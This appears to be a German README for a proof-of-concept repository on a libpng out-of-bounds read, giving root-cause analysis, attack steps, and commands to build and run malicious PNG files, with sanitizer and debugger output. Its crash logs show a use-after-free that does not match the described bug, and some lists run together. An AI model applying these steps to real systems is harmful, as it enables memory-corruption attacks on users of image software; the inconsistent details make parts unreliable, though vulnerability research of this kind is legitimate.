
Status: Behoben
Schweregrad: Hoch
CVE-ID: CVE-2025-64720
Entdeckungsdatum: 2025-11-XX
Öffentliche Offenlegung: 2025-11-21
Eine Sicherheitslücke durch Lesen außerhalb der Grenzen (Out-of-Bounds-Read) existiert in libpngs png_image_read_composite-Funktion, wenn Palettenbilder mit aktiviertem PNG_FLAG_OPTIMIZE_ALPHA verarbeitet werden. Der Paletten-Compositing-Code in png_init_read_transformations wendet während der Premultiplikation fälschlicherweise Hintergrund-Compositing an und verletzt dabei die von der vereinfachten PNG-API geforderte Invariante component ≤ alpha × 257, was zu Speicherkorruption führt.
In png_init_read_transformations in Zeile ~1336 führt der Paletten-Expansionscode Folgendes aus:
component += (255-alpha)*png_sRGB_table[outrow[c]];
Diese Berechnung erzeugt component-Werte von bis zu 16.776.960 (0x1000800), wobei (component >> 15) == 512 gilt. Das anschließende PNG_sRGB_FROM_LINEAR-Makro in png_image_read_composite führt einen Array-Zugriff außerhalb der Grenzen aus:
png_sRGB_base[component>>15] // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)
Das Problem tritt auf, wenn:
PNG_FLAG_OPTIMIZE_ALPHA intern aktiviert istpngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsExpected: component ≤ alpha × 257
Ensures (component >> 15) ≤ 511 (within array bounds)
Actual: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
With alpha=0, RGB=255: component can exceed expected bounds
Result: (component >> 15) can equal 512 (out of bounds access)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er eine bösartige PNG-Datei mit bestimmten Eigenschaften erstellt:
Angriffsvoraussetzungen:
png_image_*-Funktionen)Angriffsschritte:
PNG_FLAG_OPTIMIZE_ALPHA wird intern aktiviertAngriffsergebnis:
png_sRGB_base oder png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │ Potential information disclosure
└─────────────────┘
Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
Erforderliche Bedingungen:
png_image_finish_read)Optionale Faktoren:
PNG_FORMAT_FLAG_AFIRST erhöht die Wahrscheinlichkeit eines AbsturzesNicht-auslösende Bedingungen:
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)Erzeugt bösartige PNG-Dateien, die die Sicherheitslücke auslösen.
Verwendung:
python3 generate_poc.py
Ausgabe:
exploit_v1.png – 8x8-Bild, einheitliche weiße Palette, Alpha nullexploit_v2.png – 8x8-Bild, strategische Palettenvariationexploit_v3.png – 64x64-Bild, groß mit wiederholten Musternexploit_v4.png – 4x4-Bild, Minimalfall mit durchgehend Alpha nullOptionen:
# Generate specific variant
generate_malicious_png('custom.png', variant=2)
# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow
test.c)Verarbeitet PNG-Dateien mithilfe der vereinfachten API und demonstriert die Sicherheitslücke.
Kompilierung:
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
Funktionen:
Auf verwundbarer Version (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
Auf behobener Version (libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
Erwartete Ausgabe:
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
Erwartete Ausgabe:
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
Erwartetes Ergebnis (verwundbar – libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
Erwartetes Ergebnis (behoben – libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
Erwartete Ausgabe (verwundbar):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash
(gdb) bt
# Shows backtrace with png_safe_execute at top
(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash
(lldb) bt
# Shows backtrace
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ WICHTIG: Dieser PoC dient ausschließlich Bildungs- und Forschungszwecken.
Dieser Code ist bestimmt für:
Dieser Code ist NICHT bestimmt für:
Durch die Verwendung dieses Codes stimmen Sie Folgendem zu: